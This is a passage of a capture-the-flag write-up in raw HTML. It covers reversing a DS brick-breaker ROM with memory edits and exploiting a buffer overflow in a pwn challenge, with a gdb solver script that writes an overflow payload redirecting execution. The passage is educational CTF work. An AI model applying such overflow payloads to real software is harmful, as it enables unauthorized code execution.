No</annotation></semantics></math></span><span class=\"katex-html\" aria-hidden=\"true\"><span class=\"base\"><span class=\"strut\" style=\"height:0.6944em;\"></span><span class=\"mord mathnormal\" style=\"margin-right:0.05017em;\">GB</span><span class=\"mord mathnormal\">A</span><span class=\"mord mathnormal\">Do</span><span class=\"mord mathnormal\" style=\"margin-right:0.02691em;\">w</span><span class=\"mord mathnormal\">n</span><span class=\"mord mathnormal\" style=\"margin-right:0.01968em;\">l</span><span class=\"mord mathnormal\">o</span><span class=\"mord mathnormal\">a</span><span class=\"mord mathnormal\">d</span><span class=\"mord mathnormal\">L</span><span class=\"mord mathnormal\">a</span><span class=\"mord mathnormal\">t</span><span class=\"mord mathnormal\">es</span><span class=\"mord mathnormal\">t</span><span class=\"mord mathnormal\" style=\"margin-right:0.22222em;\">V</span><span class=\"mord mathnormal\">ers</span><span class=\"mord mathnormal\">i</span><span class=\"mord mathnormal\">o</span><span class=\"mord mathnormal\">n</span><span class=\"mspace\" style=\"margin-right:0.2778em;\"></span><span class=\"mrel\">:</span><span class=\"mspace\" style=\"margin-right:0.2778em;\"></span></span><span class=\"base\"><span class=\"strut\" style=\"height:0.6833em;\"></span><span class=\"mord mathnormal\" style=\"margin-right:0.10903em;\">N</span><span class=\"mord mathnormal\">o</span></span></span></span>GBA Emulator »</a></p>\n<p>From the description above, it seems that DS (or GBA) programs can be developed in C or C++, which makes them relatively approachable.</p>\n<p>The following resources also looked useful for information on game development and reversing.</p>\n<p>Reference: <a href=\"https://problemkaputt.de/gbatek.htm\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">GBATEK - GBA/NDS Technical Info</a></p>\n<p>Reference: <a href=\"https://www.starcubelabs.com/reverse-engineering-ds/\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Reverse Engineering a DS Game - Starcube Labs - Gamedev Blog</a></p>\n<p>First, I decided to unpack the provided ROM file with the above examples as a reference.</p>\n<p>However, after unpacking the binary with ndstool and analyzing it in Ghidra, there were simply too many functions and I could not identify where to focus my analysis.</p>\n<p>So I decided to start the game using the debug version of No$GBA.</p>\n<p>When I launched it in the emulator, I found that it was a very difficult brick-breaker style game.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/0abc0590a71926d18a14bbb77881a218/5b6ee/image-20230812082055093.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 58.75%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAAC2ElEQVQoz3VT3UvTURj+/QOhF6JJTlNzSQ21FCoqoRspjBQpujBF1AQDTbtI86uUbipRg+6jMCOnF3YRlFQycoZpDd2Hzc1tTvfp3Obmvren8x4ZRNADh8M55z3Ped73fY6wtbUFm80Gl8sFr9eLaDTKh8fjgcViQTAYRCgUQiwawcKyGrJFNfw+H4/dMFnQ//QVRl9+gNO9h2AgAEGtVmN9fR1msxl2ux3xeBzhcBgOhwMajQYOp5MF7mP22xIKyxuQe64eXxZ+4fX0Z6TkXUZWyQ3klt9B/vkGzH1fgaBZW4Ner8f29jac7HIkEkEsFsPu7i50Oh1Tvguvx4tNixUtXSNouT+COYUSl2q7cKayFVVNfahs6IH4Yh2a+54zQo0aJpMRdpa2b88LAqVns1kPFDKlIaZ4bHQU1dU16Ghrx+22ToxJP+FCVRsOFVYjtegmrrcO4cXURwiKFSXW9Qa4PHsIhKMIxxLw+ALY3DRDpVJyQkJ//wBOnpCgtLQMjY1NfO+rXAFRWR3Krt6D2eLke8IsK7JMacKizo6fRjfU9jB+bu5BazBDzQh3dnZ4oEKhwJvxcUxLp/BseBjNzS3o7enBtZpaPHr8BEODg+yhZghKpZKlbDpIjXWTEGDdoibRGdXyX8zMvEdaWjry8gpwt70dvb09qKi4gqysbKqhhhM6nQ5ukXg8xmciXF1d5XbidWWNou4TpJNS5OcXQCIpwsDAQ3R3P0Bx8SmIxYUQVCoVfmu1MBqNMBgM8DGPJRXSWVJhIpHgpITJd5PIzDzCFB5DR0cn6m7VQyTKQXZ2DoQ1ZhsiIwK3280vkHXI1KTw75SThG8nJpCSkgpRzlGcLTkNifg40jMOIyM948DY5EMa9GvoB/j9fv4INYLMTkT0e5KE5FmZTAa5XI7lpSX8WFzE/Lycr4WNjQ0eQINU0kyERE4KtawcVquV15I6Tg/s7+/jf/gDP8UJT2jg1R0AAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/0abc0590a71926d18a14bbb77881a218/8ac56/image-20230812082055093.webp 240w,\n/static/0abc0590a71926d18a14bbb77881a218/d3be9/image-20230812082055093.webp 480w,\n/static/0abc0590a71926d18a14bbb77881a218/e46b2/image-20230812082055093.webp 960w,\n/static/0abc0590a71926d18a14bbb77881a218/f992d/image-20230812082055093.webp 1440w,\n/static/0abc0590a71926d18a14bbb77881a218/b47ac/image-20230812082055093.webp 1672w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/0abc0590a71926d18a14bbb77881a218/8ff5a/image-20230812082055093.png 240w,\n/static/0abc0590a71926d18a14bbb77881a218/e85cb/image-20230812082055093.png 480w,\n/static/0abc0590a71926d18a14bbb77881a218/d9199/image-20230812082055093.png 960w,\n/static/0abc0590a71926d18a14bbb77881a218/07a9c/image-20230812082055093.png 1440w,\n/static/0abc0590a71926d18a14bbb77881a218/5b6ee/image-20230812082055093.png 1672w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/0abc0590a71926d18a14bbb77881a218/d9199/image-20230812082055093.png\"\n            alt=\"image-20230812082055093\"\n            title=\"image-20230812082055093\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>I was not quite sure what would count as the flag, so I tried progressing through the game for the time being. After clearing the first stage, the following blocks appeared.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 534px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/fef4caf8035f4d52acc32af3bf878c01/a07a7/image-20230812082032401.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 156.25%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,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'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/fef4caf8035f4d52acc32af3bf878c01/8ac56/image-20230812082032401.webp 240w,\n/static/fef4caf8035f4d52acc32af3bf878c01/d3be9/image-20230812082032401.webp 480w,\n/static/fef4caf8035f4d52acc32af3bf878c01/29722/image-20230812082032401.webp 534w\"\n              sizes=\"(max-width: 534px) 100vw, 534px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/fef4caf8035f4d52acc32af3bf878c01/8ff5a/image-20230812082032401.png 240w,\n/static/fef4caf8035f4d52acc32af3bf878c01/e85cb/image-20230812082032401.png 480w,\n/static/fef4caf8035f4d52acc32af3bf878c01/a07a7/image-20230812082032401.png 534w\"\n            sizes=\"(max-width: 534px) 100vw, 534px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/fef4caf8035f4d52acc32af3bf878c01/a07a7/image-20230812082032401.png\"\n            alt=\"image-20230812082032401\"\n            title=\"image-20230812082032401\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Since it started with F, l, it looked like I would be able to obtain the flag by continuing to clear the game.</p>\n<p>However, the number of failures in the brick-breaker game accumulates, and if you fail a total of five times your score is reset, so it did not seem possible to obtain the entire flag through normal play.</p>\n<p>So I used Cheat Engine to identify and tamper with the memory value that decreased from 5, 4, 3… with each playthrough, which let me get an unlimited number of attempts.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/ab95887675dc57680bf0b01ee54624f2/78415/image-20230812085407095.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 89.99999999999999%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAYAAABb0P4QAAAACXBIWXMAAAsTAAALEwEAmpwYAAADrUlEQVQ4y42U209cVRTG580ILQXKbW7nzP3CYQodmIG5D7eZ6UDpcJEwFlvUBxQrxJYWAjTIpSSKD14SQ6RPNkbim4/6D2h88sHEqIlGU41RG3mRUjT5uc+GUlJj2km+nDN7r/2dtfb3rWXI9eXJ9PXQ0d5BMpkkkUgcYP89lUqRyWQk0un04X40GiUWi0no/+OxKI1tUQzpjjjhWJtYiBMRQdH7SBw8xYH29naJeDx+QJAkl8uRzWbp6uqSMdnuboKdWQya1oDdqmA1mzGZTIcwm42YzCZq6+qora6mpqaGqqoqKiorxbqFUChEIBDA4/Hg9/tpamqiXjwNiqKg2mzYHoLdbkdVVTRNIxQOE2xuFhmKTDKd9OazDA70c65QIJ/Py5KTyRQNDQ0YDknEYfUInE4n5eXlzM/Ps7vzF9t/3uG7H26z9vYHrG9+zI+//Ma93R3+3rvHzMwsbrebYDB4hPAhuFwujh8vY/311/h9+y7XVm4Sy09w0tmLOTJBR3GRlbc+5I/tHV5dXOSkuA6d1GCxWNChl34UDoeDJ0tKePedN/noky8wPBGkWusj3DtB59gSxvAzGKoTfPrZV6ytLolqKmQShuDpZlqCIfw+Px63V8Lr8YoL1lBMZi5eeoX8+Aq5oSlGXlymZ/Qa2ZFpzo3NkT47wfD0G4xNTHJKiNvW2oYhkYkT7Q7jbfQSSgUJtGqcagvQFGlEcZsYu3yZ0eX3GH7pBqWuM9S2FDFGnqUy0M+F6XVG127y/NQlVK+VQEtA3KHThtNjx6JasLttqA5Fwi7WS8tKWVpZRv99+9OvuELnKVHylGlPEzk7yc93tuXelekrHDtxDMWmYFBVQaKoUgj93XYAl9NF+YlyVldW5aF/9nb5/Mtv8CWeI9I/w9ff32Zv967cuzp9lcqKSpwO5wOVVZv6H6UtFjOt4l6GhoYZGBhi7MJFevsGOdNToDhSpFAYEOuDhIVPdWF1u/2vbfYzVoXaLpGtR3SEj3Sqg/m5ORYWFujp7RNedYs4h1RXj1WURxDq9vF6fTQ2nsbn09jY2GB2do7x8RfY3NykuTkk9v0yRlWVx8lQEWb1UF/fIAjrKRbPM/nyFNevL7K1tSWGR1zE2GU/3++wR5bsdrkFqVeW7Bfe9GsB/OIDt96/JaeO0WiWHfJYJetBckgoQiAxYZ4aHqE7EqOQy3NjbU26oq7OKLtqn1B5NKE+JHQL6ZmqgjwrBm6PGLY2mx2r1So/+EAUhX8B4o1vEtR3RVsAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/ab95887675dc57680bf0b01ee54624f2/8ac56/image-20230812085407095.webp 240w,\n/static/ab95887675dc57680bf0b01ee54624f2/d3be9/image-20230812085407095.webp 480w,\n/static/ab95887675dc57680bf0b01ee54624f2/e46b2/image-20230812085407095.webp 960w,\n/static/ab95887675dc57680bf0b01ee54624f2/459db/image-20230812085407095.webp 1207w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/ab95887675dc57680bf0b01ee54624f2/8ff5a/image-20230812085407095.png 240w,\n/static/ab95887675dc57680bf0b01ee54624f2/e85cb/image-20230812085407095.png 480w,\n/static/ab95887675dc57680bf0b01ee54624f2/d9199/image-20230812085407095.png 960w,\n/static/ab95887675dc57680bf0b01ee54624f2/78415/image-20230812085407095.png 1207w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/ab95887675dc57680bf0b01ee54624f2/d9199/image-20230812085407095.png\"\n            alt=\"image-20230812085407095\"\n            title=\"image-20230812085407095\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>I thought this would let me brute-force every stage, but then I found that once I reached the <code class=\"language-text\">g</code> in the flag, the stage returned to the beginning.</p>\n<p>To avoid the stage resetting at the <code class=\"language-text\">g</code>, I searched for the memory that stores the stage state.</p>\n<p>I initially assumed it would reset with values like 0,1,2,3.. or 1,2,3,4.., so this took me a little while, but the first screen was actually the Restart screen, which meant that the real stages were counted starting from 2.</p>\n<p>After investigating the memory that increased with each stage clear, I identified the address that seemed to specify the current stage.</p>\n<p>The value at this address reset at 5, so I changed it to 6 or higher and advanced the stage. As a result, I was able to proceed to later stages and obtain the flag as shown below.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/dbe1122a65eb22894cb844f4435d4746/bb3b7/image-20230812091720958.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 91.66666666666667%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAYAAABb0P4QAAAACXBIWXMAAAsTAAALEwEAmpwYAAADsklEQVQ4y5WUXUwcVRiG18R4JdAt22V3dmdnZmeWXdj/P+iyWGBhqVR2IdBuo9ju0hZTEmhppUiVmkhCG01qKIkmFm1iSLzlwgvv9M4bL/RKvbImNk3oD8ZeivbxzFT6Q2KCk7z55pw55z3vN9/7HdvB8iH6ygMUiwfp7e2lUCg8A3NucHCQUqlEf38/PT091rwZH0OM+wRSB7qxdXbmSGVSZDJZkqkUqW1kU6QzadLpDO3t7eRyObEmY6FNjIvFonVYV1cXqXSaQnc32e4CtngigaH58UoSksdjwSPeZRGdTid7GxtxCNj32Glo2EN9fQNNTS6SySTRaJSWlhbi8bg1DjU3Y1MUFUVRUFX1Gfh8PqEmLVJ6lPpQuUTlyAhHRocZKg1SqVSo1WqWwkQiTrdQaJLaNKFO3UHo9/txOBysrKxgPltbf/LDTzd5873rXPnkS25tbMLDv6z5yclJdN0vVCYIh8P/Eu5Qp+s6drudG599ys83Nzj6xiKtuTGkyChGYYaOkXnmr9zg9p3fmbswa2UYCAQsITZZpOb1eq0UZVkWUbZI6+rqWFv7nGtrX2F7LoInOUqmPEX+1QXsgvh5Xx9ff/cj83OzOJuanhB25PK81HmAeCxONBIjEo6Kny1iKMTx8xfpOfYO5eNvMX7mMn3D0xyqnOOVsTkKo2cZOf8Bleo4zbpBPt9JR64DW76Qp60rTSASINkRJ9YWIZqNEIrqnL64wPTKF4ycXuQFrZ+9yaM0tlVxpiucWbrO5PIaxybGcSsugrEgRsQQVdYVvJqERxF2USW8qgdFl6mzv8jKxx9ZRfnl1h2M9tepD47QEB3jten32fr7ofWteqJKvb0eWZORfBI2Q8hVfSqaqolqC4io+3XhPQfXlpd58McD7t3d4JtvvyfUWaN0YpFff7vN/Xt32by/Sa1aZZ9jn7XH5LCZFTWrpKhPsF3tcDjC7OwFlpYuCx8O8fJASbThkHgfFt4sCvQSi8WsYprrzb2PCZ+2jTk2veV0upiamrYIJUkmtz9HNtsuDoqLqgbRNN2q7tP7/5PQtIDHIzMzc47V1VWq1Zql9vDhilCVICIcEQy20CzazbTcLgm9nDw5wfr6Olevfki5NCzUxSyyQCAk1hj/T6Hb7ebUqQkWFi7R2hLm7UvvclYoNoxmzA4z7wHDMHZHqGnao5YyAoRbw0heH1Gfwn5xncnCFW63hMvltg7eFeH2JWH9H/NGEpYYEJdpNpkSrSqjCHLz2879/wBthG50pGS9+wAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/dbe1122a65eb22894cb844f4435d4746/8ac56/image-20230812091720958.webp 240w,\n/static/dbe1122a65eb22894cb844f4435d4746/d3be9/image-20230812091720958.webp 480w,\n/static/dbe1122a65eb22894cb844f4435d4746/e46b2/image-20230812091720958.webp 960w,\n/static/dbe1122a65eb22894cb844f4435d4746/52f78/image-20230812091720958.webp 1211w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/dbe1122a65eb22894cb844f4435d4746/8ff5a/image-20230812091720958.png 240w,\n/static/dbe1122a65eb22894cb844f4435d4746/e85cb/image-20230812091720958.png 480w,\n/static/dbe1122a65eb22894cb844f4435d4746/d9199/image-20230812091720958.png 960w,\n/static/dbe1122a65eb22894cb844f4435d4746/bb3b7/image-20230812091720958.png 1211w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/dbe1122a65eb22894cb844f4435d4746/d9199/image-20230812091720958.png\"\n            alt=\"image-20230812091720958\"\n            title=\"image-20230812091720958\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"skiddyana-pwnz-and-the-loom-of-fatepwn\" style=\"position:relative;\"><a href=\"#skiddyana-pwnz-and-the-loom-of-fatepwn\" aria-label=\"skiddyana pwnz and the loom of fatepwn permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Skiddyana Pwnz and the Loom of Fate(Pwn)</h2>\n<blockquote>\n<p>Enter an ancient place, contrived beyond reason, and alter the fate of this world.</p>\n</blockquote>\n<p>When you run the challenge binary, you can broadly choose from and execute the following three actions.</p>\n<ol>\n<li>A routine that stores an input string of up to 0x100 bytes in a buffer (contains a BoF vulnerability)</li>\n<li>A routine that outputs the contents of the buffer with <code class=\"language-text\">printf(\"%s\",buf)</code></li>\n<li>A routine that copies the contents of the buffer with <code class=\"language-text\">strcpy</code> when the input matches a hardcoded password (the BoF makes ROP possible)</li>\n</ol>\n<p>Here, by obtaining the hardcoded password from the challenge binary, it becomes possible to jump to the function that displays the flag with the following input.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token comment\"># gdb -x solver.py</span>\n<span class=\"token keyword\">import</span> gdb\n<span class=\"token keyword\">from</span> pprint <span class=\"token keyword\">import</span> pprint\n\n<span class=\"token comment\"># pprint(dir(gdb))</span>\nBINDIR <span class=\"token operator\">=</span> <span class=\"token string\">\"./Skiddyana_Pwnz_and_the_Loom_of_Fate\"</span>\nBIN <span class=\"token operator\">=</span> <span class=\"token string\">\"loom\"</span>\nINPUT <span class=\"token operator\">=</span> <span class=\"token string\">\"./in.txt\"</span>\nOUT <span class=\"token operator\">=</span> <span class=\"token string\">\"./out.txt\"</span>\nBREAK <span class=\"token operator\">=</span> <span class=\"token string\">\"0x401494\"</span>\n\ngdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">'file {}/{}'</span><span class=\"token punctuation\">.</span><span class=\"token builtin\">format</span><span class=\"token punctuation\">(</span>BINDIR<span class=\"token punctuation\">,</span> BIN<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ngdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">'b *{}'</span><span class=\"token punctuation\">.</span><span class=\"token builtin\">format</span><span class=\"token punctuation\">(</span>BREAK<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">with</span> <span class=\"token builtin\">open</span><span class=\"token punctuation\">(</span>INPUT<span class=\"token punctuation\">,</span> <span class=\"token string\">\"wb\"</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">as</span> f<span class=\"token punctuation\">:</span>\n    f<span class=\"token punctuation\">.</span>write<span class=\"token punctuation\">(</span><span class=\"token string\">b\"1\\n\"</span><span class=\"token punctuation\">)</span>\n    f<span class=\"token punctuation\">.</span>write<span class=\"token punctuation\">(</span><span class=\"token string\">b\"1\\n\"</span><span class=\"token punctuation\">)</span>\n    f<span class=\"token punctuation\">.</span>write<span class=\"token punctuation\">(</span><span class=\"token string\">b\"A\"</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token number\">152</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token string\">b'\\xb6\\x12@\\x00\\x00\\x00\\x00\\x00'</span> <span class=\"token operator\">+</span> <span class=\"token string\">b\"\\n\"</span><span class=\"token punctuation\">)</span>\n    f<span class=\"token punctuation\">.</span>write<span class=\"token punctuation\">(</span><span class=\"token string\">b\"3\\n\"</span><span class=\"token punctuation\">)</span>\n    f<span class=\"token punctuation\">.</span>write<span class=\"token punctuation\">(</span><span class=\"token string\">b\"thisisnotthepassword\\n\"</span><span class=\"token punctuation\">)</span>\n    f<span class=\"token punctuation\">.</span>write<span class=\"token punctuation\">(</span><span class=\"token string\">b\"1\\n\"</span><span class=\"token punctuation\">)</span>\n\ngdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">'run &lt; {}'</span><span class=\"token punctuation\">.</span><span class=\"token builtin\">format</span><span class=\"token punctuation\">(</span>INPUT<span class=\"token punctuation\">,</span> OUT<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>However, the binary on the challenge server appeared to have a different hardcoded password, so in order to obtain the flag I first needed to leak the password.</p>\n<p>I could tell that I would probably use the second function for the leak, but <code class=\"language-text\">printf</code> specifies the <code class=\"language-text\">%s</code> format, so a format string attack did not seem usable, and I felt stuck.</p>\n<p>After asking the pwn specialist on our team for help, I learned that even when the input length in the first function exceeds the 0x100 limit, the address of <code class=\"language-text\">local_10</code> (the input buffer) is stored in the return value at the following point.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 524px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/2b5693739a58da72633408a026a2013b/664c8/image-20230812002454419.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 32.916666666666664%; position: relative; bottom: 0; left: 0; background-image: 